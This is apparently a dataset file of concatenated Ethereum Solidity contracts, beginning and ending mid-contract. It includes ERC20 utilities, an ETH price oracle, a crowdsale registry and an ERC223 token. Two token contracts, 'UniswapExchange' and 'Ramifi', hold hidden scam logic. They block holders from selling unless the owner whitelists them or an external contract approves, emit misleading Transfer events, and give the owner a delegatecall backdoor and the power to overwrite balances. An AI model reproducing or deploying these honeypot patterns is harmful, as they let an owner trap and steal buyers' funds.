function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,827 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Ramifi is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Ramifi";
string public symbol = "RAM";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,155 |
pragma solidity ^0.4.18;
contract ETHPriceWatcher {
address public ethPriceProvider;
modifier onlyEthPriceProvider() {
require(msg.sender == ethPriceProvider);
_;
}
function receiveEthPrice(uint ethUsdPrice) external;
function setEthPriceProvider(address provider) external;
}
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BuildingStatus is Ownable {
address public observer;
address public crowdsale;
enum statusEnum {
crowdsale,
refund,
preparation_works,
building_permit,
design_technical_documentation,
utilities_outsite,
construction_residential,
frame20,
frame40,
frame60,
frame80,
frame100,
stage1,
stage2,
stage3,
stage4,
stage5,
facades20,
facades40,
facades60,
facades80,
facades100,
engineering,
finishing,
construction_parking,
civil_works,
engineering_further,
commisioning_project,
completed
}
modifier notCompleted() {
require(status != statusEnum.completed);
_;
}
modifier onlyObserver() {
require(msg.sender == observer || msg.sender == owner || msg.sender == address(this));
_;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsale || msg.sender == owner || msg.sender == address(this));
_;
}
statusEnum public status;
event StatusChanged(statusEnum newStatus);
function setStatus(statusEnum newStatus) onlyCrowdsale public {
status = newStatus;
StatusChanged(newStatus);
}
function changeStage(uint8 stage) public onlyObserver {
if (stage==1) status = statusEnum.stage1;
if (stage==2) status = statusEnum.stage2;
if (stage==3) status = statusEnum.stage3;
if (stage==4) status = statusEnum.stage4;
if (stage==5) status = statusEnum.stage5;
}
}
contract PermissionManager is Ownable {
mapping (address => bool) permittedAddresses;
function addAddress(address newAddress) public onlyOwner {
permittedAddresses[newAddress] = true;
}
function removeAddress(address remAddress) public onlyOwner {
permittedAddresses[remAddress] = false;
}
function isPermitted(address pAddress) public view returns(bool) {
if (permittedAddresses[pAddress]) {
return true;
}
return false;
}
}
contract Registry is Ownable {
struct ContributorData {
bool isActive;
uint contributionETH;
uint contributionUSD;
uint tokensIssued;
uint quoteUSD;
uint contributionRNTB;
}
mapping(address => ContributorData) public contributorList;
mapping(uint => address) private contributorIndexes;
uint private nextContributorIndex;
PermissionManager public permissionManager;
bool public completed;
modifier onlyPermitted() {
require(permissionManager.isPermitted(msg.sender));
_;
}
event ContributionAdded(address _contributor, uint overallEth, uint overallUSD, uint overallToken, uint quote);
event ContributionEdited(address _contributor, uint overallEth, uint overallUSD, uint overallToken, uint quote);
function Registry(address pManager) public {
permissionManager = PermissionManager(pManager);
completed = false;
}
function setPermissionManager(address _permadr) public onlyOwner {
require(_permadr != 0x0);
permissionManager = PermissionManager(_permadr);
}
function isActiveContributor(address contributor) public view returns(bool) {
return contributorList[contributor].isActive;
}
function removeContribution(address contributor) public onlyPermitted {
contributorList[contributor].isActive = false;
}
function setCompleted(bool compl) public onlyPermitted {
completed = compl;
}
function addContribution(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote ) public onlyPermitted {
if (contributorList[_contributor].isActive == false) {
contributorList[_contributor].isActive = true;
contributorList[_contributor].contributionETH = _amount;
contributorList[_contributor].contributionUSD = _amusd;
contributorList[_contributor].tokensIssued = _tokens;
contributorList[_contributor].quoteUSD = _quote;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
} else {
contributorList[_contributor].contributionETH += _amount;
contributorList[_contributor].contributionUSD += _amusd;
contributorList[_contributor].tokensIssued += _tokens;
contributorList[_contributor].quoteUSD = _quote;
}
ContributionAdded(_contributor, contributorList[_contributor].contributionETH, contributorList[_contributor].contributionUSD, contributorList[_contributor].tokensIssued, contributorList[_contributor].quoteUSD);
}
function editContribution(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted {
if (contributorList[_contributor].isActive == true) {
contributorList[_contributor].contributionETH = _amount;
contributorList[_contributor].contributionUSD = _amusd;
contributorList[_contributor].tokensIssued = _tokens;
contributorList[_contributor].quoteUSD = _quote;
}
ContributionEdited(_contributor, contributorList[_contributor].contributionETH, contributorList[_contributor].contributionUSD, contributorList[_contributor].tokensIssued, contributorList[_contributor].quoteUSD);
}
function addContributor(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted {
contributorList[_contributor].isActive = true;
contributorList[_contributor].contributionETH = _amount;
contributorList[_contributor].contributionUSD = _amusd;
contributorList[_contributor].tokensIssued = _tokens;
contributorList[_contributor].quoteUSD = _quote;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
ContributionAdded(_contributor, contributorList[_contributor].contributionETH, contributorList[_contributor].contributionUSD, contributorList[_contributor].tokensIssued, contributorList[_contributor].quoteUSD);
}
function getContributionETH(address _contributor) public view returns (uint) {
return contributorList[_contributor].contributionETH;
}
function getContributionUSD(address _contributor) public view returns (uint) {
return contributorList[_contributor].contributionUSD;
}
function getContributionRNTB(address _contributor) public view returns (uint) {
return contributorList[_contributor].contributionRNTB;
}
function getContributionTokens(address _contributor) public view returns (uint) {
return contributorList[_contributor].tokensIssued;
}
function addRNTBContribution(address _contributor, uint _amount) public onlyPermitted {
if (contributorList[_contributor].isActive == false) {
contributorList[_contributor].isActive = true;
contributorList[_contributor].contributionRNTB = _amount;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
} else {
contributorList[_contributor].contributionETH += _amount;
}
}
function getContributorByIndex(uint index) public view returns (address) {
return contributorIndexes[index];
}
function getContributorAmount() public view returns(uint) {
return nextContributorIndex;
}
}
contract OraclizeC is Ownable, usingOraclize {
uint public updateInterval = 300;
uint public gasLimit = 200000;
mapping (bytes32 => bool) validIds;
string public url;
enum State { New, Stopped, Active }
State public state = State.New;
event LogOraclizeQuery(string description, uint balance, uint blockTimestamp);
event LogOraclizeAddrResolverI(address oar);
modifier inActiveState() {
require(state == State.Active);
_;
}
modifier inStoppedState() {
require(state == State.Stopped);
_;
}
modifier inNewState() {
require(state == State.New);
_;
}
function setUpdateInterval(uint newInterval) external onlyOwner {
require(newInterval > 0);
updateInterval = newInterval;
}
function setUrl(string newUrl) external onlyOwner {
require(bytes(newUrl).length > 0);
url = newUrl;
}
function setGasLimit(uint _gasLimit) external onlyOwner {
require(_gasLimit > 50000);
gasLimit = _gasLimit;
}
function setGasPrice(uint gasPrice) external onlyOwner {
require(gasPrice >= 1000000000);
oraclize_setCustomGasPrice(gasPrice);
}
function setOraclizeAddrResolverI(address __oar) public onlyOwner {
require(__oar != 0x0);
OAR = OraclizeAddrResolverI(__oar);
LogOraclizeAddrResolverI(__oar);
}
function withdraw(address receiver) external onlyOwner inStoppedState {
require(receiver != 0x0);
receiver.transfer(this.balance);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ETHPriceProvider is OraclizeC {
using SafeMath for uint;
uint public currentPrice;
ETHPriceWatcher public watcher;
event LogPriceUpdated(string getPrice, uint setPrice, uint blockTimestamp);
event LogStartUpdate(uint startingPrice, uint updateInterval, uint blockTimestamp);
function notifyWatcher() internal;
function ETHPriceProvider(string _url) payable public {
url = _url;
}
function startUpdate(uint startingPrice) payable onlyOwner inNewState public {
state = State.Active;
currentPrice = startingPrice;
update(updateInterval);
notifyWatcher();
LogStartUpdate(startingPrice, updateInterval, block.timestamp);
}
function stopUpdate() external onlyOwner inActiveState {
state = State.Stopped;
}
function setWatcher(address newWatcher) external onlyOwner {
require(newWatcher != 0x0);
watcher = ETHPriceWatcher(newWatcher);
}
function __callback(bytes32 myid, string result) public {
require(msg.sender == oraclize_cbAddress() && validIds[myid]);
delete validIds[myid];
uint newPrice = parseInt(result, 2);
if (state == State.Active) {
update(updateInterval);
}
require(newPrice > 0);
currentPrice = newPrice;
notifyWatcher();
LogPriceUpdated(result,newPrice,block.timestamp);
}
function update(uint delay) private {
if (oraclize_getPrice("URL") > this.balance) {
state = State.Stopped;
LogOraclizeQuery("Oraclize query was NOT sent", this.balance,block.timestamp);
} else {
bytes32 queryId = oraclize_query(delay, "URL", url, gasLimit);
validIds[queryId] = true;
}
}
function getQuote() public constant returns (uint) {
return currentPrice;
}
}
contract ConvertQuote is ETHPriceProvider {
function ConvertQuote(uint _currentPrice) ETHPriceProvider("BIa/Nnj1+ipZBrrLIgpTsI6ukQTlTJMd1c0iC7zvxx+nZzq9ODgBSmCLo3Zc0sYZwD8mlruAi5DblQvt2cGsfVeCyqaxu+1lWD325kgN6o0LxrOUW9OQWn2COB3TzcRL51Q+ZLBsT955S1OJbOqsfQ4gg/l2awe2EFVuO3WTprvwKhAa8tjl2iPYU/AJ83TVP9Kpz+ugTJumlz2Y6SPBGMNcvBoRq3MlnrR2h/XdqPbh3S2bxjbSTLwyZzu2DAgVtybPO1oJETY=") payable public {
currentPrice = _currentPrice;
}
function notifyWatcher() internal {
if(address(watcher) != 0x0) {
watcher.receiveEthPrice(currentPrice);
}
}
}
contract ERC223ReceivingContract {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
if(_data.length > 0) {
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
}
contract ERC223Interface {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function allowedAddressesOf(address who) public view returns (bool);
function getTotalSupply() public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
event TransferContract(address indexed from, address indexed to, uint value, bytes data);
}
contract UnityToken is ERC223Interface {
using SafeMath for uint;
string public constant name = "Unity Token";
string public constant symbol = "UNT";
uint8 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 100000 * (10 ** uint(decimals));
mapping(address => uint) balances;
mapping(address => bool) allowedAddresses;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function addAllowed(address newAddress) public onlyOwner {
allowedAddresses[newAddress] = true;
}
function removeAllowed(address remAddress) public onlyOwner {
allowedAddresses[remAddress] = false;
}
address public owner;
function UnityToken() public {
owner = msg.sender;
totalSupply = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
}
function getTotalSupply() public view returns (uint) {
return totalSupply;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
if (isContract(_to)) {
require(allowedAddresses[_to]);
if (balanceOf(msg.sender) < _value)
revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
TransferContract(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value)
revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(allowedAddresses[_to]);
if (balanceOf(msg.sender) < _value)
revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
TransferContract(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function allowedAddressesOf(address _owner) public view returns (bool allowed) {
return allowedAddresses[_owner];
}
}
contract Hold is Ownable {
uint8 stages = 5;
uint8 public percentage;
uint8 public currentStage;
